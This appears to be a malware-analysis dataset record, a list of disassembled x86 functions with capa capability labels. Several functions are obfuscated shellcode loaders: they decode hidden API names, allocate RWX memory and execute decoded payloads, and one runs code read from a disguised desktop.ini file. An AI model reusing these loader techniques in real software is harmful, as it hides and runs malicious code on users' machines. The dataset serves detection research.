joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002b390
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1002b39f
pop dword [ebp - 0xc]
mov eax, 0x1002b39f
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xfa177245
sub dword [ebp - 0x1c], 0xabc52cfa
mov dword [ebp - 0x18], 0xb8258060
sub dword [ebp - 0x18], 0x85f2341b
mov dword [ebp - 0x14], 0xd505a69e
add dword [ebp - 0x14], 0x77469d90
mov dword [ebp - 0x10], 0x685fd8a5
sub dword [ebp - 0x10], 0x685fd8a5
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x169642f0
sub dword [ebp - 0x1c], 0xa223d99a
mov dword [ebp - 0x18], 0x7451096b
sub dword [ebp - 0x18], 0x32e4a7f6
mov dword [ebp - 0x14], 0xb073f0a
add dword [ebp - 0x14], 0x58682d62
mov dword [ebp - 0x10], 0xb3df4e2b
sub dword [ebp - 0x10], 0xb3df4e2b
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xda2ac92b
sub eax, 0xca26d8df
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x44bd1
push 0
call eax
mov ecx, 0x360e7ce2
add ecx, 0xc9f1c532
mov esi, eax
mov edx, 0x10054e00
add edx, dword [ebp - 0xc]
mov ebx, 0x54e57256
sub ebx, 0x18a3c5a0
xor dword [ebp - 8], eax
mov edi, dword [edx]
sub dword [ebp - 4], ebx
sub edi, ebx
mov dword [esi], edi
xor dword [ebp - 4], edx
add esi, 0x5040268f
add esi, 0xafbfd975
add edx, 0xa1c119c
sub edx, 0xa1c1198
loop 0x1002b4b1
add eax, 0xfb23
xor ebx, ebx
add ebx, eax
add eax, 0x28472b67
add eax, 0xd7b8d49e
mov ecx, 0xad1f2b19
sub ecx, 0x9d1f2b19
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x100366e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e348
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004e2d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004e28c]
cmp eax, 0xffffffff
jne 0x10036716
xor ebx, ebx
jmp 0x1003671f
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x1003675f
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003679e
test esi, esi
jne 0x100367a2
push 0x10035270
push 0x1004fad8
call fcn.1002b390
mov eax, dword [0x1004e28c]
add esp, 8
cmp eax, 0xffffffff
je 0x1003675f
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003678c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003678c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x100367e4
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x100367cd
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x100367a2
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036730
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x10036809
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x10036809
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call fcn.1002b390
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x100367f0
jmp 0x10036730
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608

Function at 0x1001a884
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1001a893
pop dword [ebp - 0x4c]
mov eax, 0x2f63b12a
add eax, 0xe09df769
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3a6f3
push 0
mov eax, 0x8c5861ad
add eax, 0x83a95003
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xc4dc8367
sub ecx, 0xc4dc392a
mov esi, eax
mov edx, 0x1002b200
add edx, dword [ebp - 0x4c]
mov edi, 0x3b85f19e
add edi, 0x8b0f4bcb
add dword [ebp - 0x18], esi
mov ebx, dword [edx]
xor dword [ebp - 0x24], ecx
sub ebx, edi
add dword [ebp - 8], 0x48e91a58
mov dword [esi], ebx
add dword [ebp - 0x34], esi
add esi, 0x9adccb7d
add esi, 0x65233487
add edx, 4
loop 0x1001a8ec
add eax, 0xccba0e60
sub eax, 0xccb8f299
xor ebx, ebx
add ebx, eax
add eax, 0x70a45cbd
sub eax, 0x70a45cb8
mov ecx, 0xce2eee32
sub ecx, 0xbe2eee32
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x100023fd
Capabilities:
Identify system language via api

Disassembly:
push esi
push edi
xor edi, edi
cmp dword [esp + 0x14], edi
je 0x1000240f
call dword [sym.imp.kernel32.dll_GetUserDefaultLCID]
jmp 0x10002415
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
movzx eax, ax
push eax
call fcn.1000dd80
mov esi, eax
pop ecx
cmp esi, edi
je 0x1000243f
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x29c]
push esi
mov edi, eax
call dword [sym.imp.msvcr100.dll_free]
pop ecx
jmp 0x1000244d
push str.memory_allocation_error
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
mov eax, edi
pop edi
pop esi
ret 0xc
Function at 0x10006ed9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xe0
mov eax, dword [0x1001cf10]
xor eax, ebp
mov dword [ebp + 0x74], eax
push edi
lea eax, [ebp - 0x5c]
push eax
push 0x20019
xor edi, edi
and dword [ebp - 0x5c], edi
push edi
push str.SystemCurrentControlSetControlTimeZoneInformation
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10006f4f
and dword [ebp - 0x60], edi
push ebx
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
push edi
push str.ActiveTimeBias
push dword [ebp - 0x5c]
mov dword [ebp - 0x64], 4
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
mov ebx, eax
test ebx, ebx
jne 0x10006f41
mov edi, dword [ebp - 0x68]
push dword [ebp - 0x5c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
test ebx, ebx
pop ebx
je 0x10006f61
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.kernel32.dll_GetTimeZoneInformation]
cmp eax, 0xffffffff
je 0x10006f61
mov edi, dword [ebp - 0x58]
lea eax, [ebp + 0x54]
push eax
mov eax, edi
call fcn.100067f8
lea eax, [ebp + 0x54]
push eax
call dword [sym.imp.msvcr100.dll__strdup]
pop ecx
pop ecx
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop edi
call fcn.100122d0
add ebp, 0x78
leave
ret

Function at 0x10007644
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
push edi
xor ebx, ebx
push ebx
push 1
push ebx
mov edi, str.J2SE
push edi
lea eax, [ebp - 8]
push eax
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x1000767f
push 8
push 1
push ebx
push edi
lea eax, [ebp - 8]
push eax
call esi
test eax, eax
jne 0x1000767f
xor al, al
jmp 0x100076d4
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push esi
call dword [eax + 0x2ac]
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x2e0]
mov edi, eax
cmp edi, ebx
je 0x100076c7
push edi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
test eax, eax
je 0x100076b9
mov byte [ebp - 1], 1
mov eax, dword [esi]
push ebx
push edi
push dword [ebp + 0x10]
push esi
call dword [eax + 0x300]
push ebx
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10007e22
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push dword [0x1001cf68]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a207
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x10007e43
xor al, al
jmp 0x10007e74
push ebx
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.1000dd80
push esi
mov ebx, eax
call dword [sym.imp.msvcr100.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007e83
mov eax, dword [esp + 0x18]
dec eax
je 0x10007e71
dec eax
je 0x10007e78
dec eax
dec eax
jne 0x10007e83
mov al, 1
pop ebx
pop esi
ret 0x10
mov al, 1
test bl, 0x10
jne 0x10007e73
test al, bl
je 0x10007e73
xor al, al
jmp 0x10007e73
Function at 0x10007e87
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x14], 4
push edi
mov byte [ebp - 1], 0
je 0x10007f2d
cmp dword [ebp + 0x14], 1
je 0x10007f2d
push dword [0x1001cf68]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.1000a207
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x10007ec2
xor al, al
jmp 0x10007f30
push esi
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
push edi
call esi
cmp eax, 0xffffffff
je 0x10007f1f
push ebx
test eax, 0x400
je 0x10007ef7
push edi
push dword [ebp + 8]
call fcn.1000773c
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x10007f1e
push edi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
push ebx
mov edi, ebx
call esi
cmp eax, 0xffffffff
je 0x10007f1e
test al, 0x10
jne 0x10007f1e
cmp byte [ebp + 0x18], 0
je 0x10007f0b
and eax, 0xfffffffe
jmp 0x10007f0e
or eax, 1
push eax
push edi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x10007f1e
mov byte [ebp - 1], 1
pop ebx
push edi
call dword [sym.imp.msvcr100.dll_free]
mov al, byte [ebp - 1]
pop ecx
pop esi
jmp 0x10007f30
mov al, byte [ebp + 0x18]
pop edi
leave
ret 0x18

Function at 0x10008088
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000dd80
mov esi, eax
add esp, 0xc
cmp esi, edi
jne 0x100080a7
xor al, al
jmp 0x10008123
push esi
call fcn.1000dd80
pop ecx
test eax, eax
je 0x100080bc
push esi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
jmp 0x100080a3
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008112
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x100080b2
cmp edi, 0xb7
je 0x100080b2
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100080b2
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
jmp 0x100080b2
push esi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
ret 0xc

Function at 0x10008128
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
push dword [0x1001cf68]
xor bl, bl
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a207
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x1000814c
xor al, al
jmp 0x1000818c
push 0x80
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10008182
push esi
test al, 0x10
je 0x10008171
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
jmp 0x10008177
call dword [sym.imp.kernel32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
test eax, eax
jne 0x10008182
mov bl, 1
push esi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
mov al, bl
pop esi
pop ebx
ret 0xc
Function at 0x1000af8b
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x1001cf10]
xor eax, ebp
mov dword [ebp + 0x88], eax
and dword [ebp - 0x80], 0
push ebx
mov ebx, dword [ebp + 0x94]
push esi
push edi
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, 0x10014bfc
test eax, eax
je 0x1000aff5
lea eax, [ebp - 0x7c]
push edi
push eax
call sub.msvcr100.dll_strcat
lea eax, [ebp - 0x7c]
push ebx
push eax
call sub.msvcr100.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
call esi
mov dword [ebp - 0x80], eax
test eax, eax
jne 0x1000b028
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b028
lea eax, [ebp - 0x7c]
push edi
push eax
call sub.msvcr100.dll_strcat
lea eax, [ebp - 0x7c]
push ebx
push eax
call sub.msvcr100.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
call esi
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp + 0x88]
mov eax, dword [ebp - 0x80]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100122d0
add ebp, 0x8c
leave
ret

Function at 0x1000dd80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000dd8f
pop dword [ebp - 0x40]
mov eax, 0x45666f06
add eax, 0xca9a6e89
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xd0cbd2ef
add dword [ebp - 0x50], 0x7d86725c
mov dword [ebp - 0x4c], 0x9a3704dd
add dword [ebp - 0x4c], 0x97fc4768
mov dword [ebp - 0x48], 0x506ea28
sub dword [ebp - 0x48], 0xb8baa5fa
mov dword [ebp - 0x44], 0x46e0d1bb
sub dword [ebp - 0x44], 0x46e0d1bb
lea eax, [ebp - 0x50]
push eax
mov eax, 0x9f8fa931
sub eax, 0x8f8e77d9
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xcef24b6b
add dword [ebp - 0x50], 0xa5801deb
mov dword [ebp - 0x4c], 0xeb9525a9
sub dword [ebp - 0x4c], 0xaa28c434
mov dword [ebp - 0x48], 0x6fce34f9
sub dword [ebp - 0x48], 0xc5ec88d
mov dword [ebp - 0x44], 0x822269ec
sub dword [ebp - 0x44], 0x822269ec
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x36aa5
push 0
call eax
mov ecx, 0x1a2cfe78
add ecx, 0xe5d344bf
xor ebx, ebx
add ebx, eax
mov esi, 0x15396281
sub esi, 0x5375c81
add esi, dword [ebp - 0x40]
mov edi, 0x5fa7f02c
sub edi, 0x3878bdf3
add dword [ebp - 0x10], 0xd1cc739b
mov edx, dword [esi]
xor dword [ebp - 4], 0x3ec23f27
sub edx, edi
mov dword [ebx], edx
xor dword [ebp - 4], edi
add ebx, 4
add esi, 0xe89755d0
sub esi, 0xe89755cc
loop 0x1000deae
add eax, 0x695d3349
add eax, 0x96a3cc66
mov ebx, eax
add eax, 0x337b3f67
sub eax, 0x337b3f62
mov ecx, 0x8e9f470b
sub ecx, 0x7e9f470b
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x100122d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001cf10]
jne 0x100122da
repz ret
jmp fcn.100128eb
Function at 0x1001c0a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1001c0b3
pop dword [ebp - 0x28]
mov eax, 0x1001c0b3
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xe62f963c
sub dword [ebp - 0x38], 0x97dd50f1
mov dword [ebp - 0x34], 0xeecfdfb2
add dword [ebp - 0x34], 0x43636c93
mov dword [ebp - 0x30], 0xc26f11b9
sub dword [ebp - 0x30], 0x7622cd8b
mov dword [ebp - 0x2c], 0xb3cf2c7d
add dword [ebp - 0x2c], 0x4c30d383
lea eax, [ebp - 0x38]
push eax
mov eax, 0x6e72b184
add eax, 0xa18d5f84
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x7f9b6de9
add dword [ebp - 0x38], 0xf4d6fb6d
mov dword [ebp - 0x34], 0xf4b26532
add dword [ebp - 0x34], 0x4cb9fc43
mov dword [ebp - 0x30], 0x2e0a6608
sub dword [ebp - 0x30], 0xca9af99c
mov dword [ebp - 0x2c], 0x92d6fec9
add dword [ebp - 0x2c], 0x6d290137
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x4562f4eb
sub eax, 0x3562e30b
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x401b2
push 0
call eax
mov ecx, 0x2282d870
sub ecx, 0x22828cb4
mov esi, eax
mov edi, 0xd4e3bd76
sub edi, 0xc4e0e776
add edi, dword [ebp - 0x28]
mov edx, 0x9056d15c
sub edx, 0x58c1e6bf
mov ebx, dword [edi]
xor dword [ebp - 0x1c], 0x84d34e2d
sub ebx, edx
mov dword [esi], ebx
add dword [ebp - 8], edx
add esi, 0x9a7ebf39
sub esi, 0x9a7ebf35
add edi, 0x31508c76
add edi, 0xceaf738e
loop 0x1001c1d0
add eax, 0x896f3689
sub eax, 0x896e14c6
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x437c3652
sub ecx, 0x337c3652
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x10020263
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10005270]
jne 0x10020613
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10028550], eax
mov dword [0x1002854c], ecx
mov dword [0x10028548], edx
mov dword [0x10028544], ebx
mov dword [0x10028540], esi
mov dword [0x1002853c], edi
mov word [0x10028568], ss
mov word [0x1002855c], cs
mov word [0x10028538], ds
mov word [0x10028534], es
mov word [0x10028530], fs
mov word [0x1002852c], gs
pushfd
pop dword [0x10028560]
mov eax, dword [ebp]
mov dword [0x10028554], eax
mov eax, dword [ebp + 4]
mov dword [0x10028558], eax
lea eax, [ebp + 8]
mov dword [0x10028564], eax
mov eax, dword [ebp - 0x320]
mov dword [0x100284a0], 0x10001
mov eax, dword [0x10028558]
mov dword [0x10028454], eax
mov dword [0x10028448], 0xc0000409
mov dword [0x1002844c], 1
mov eax, dword [0x10005270]
mov dword [ebp - 0x328], eax
mov eax, dword [0x10024b90]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10028498], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10005278
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10028498], 0
jne 0x100206ff
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401300
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40400c]
mov dword [eax], 0
jmp fcn.00401120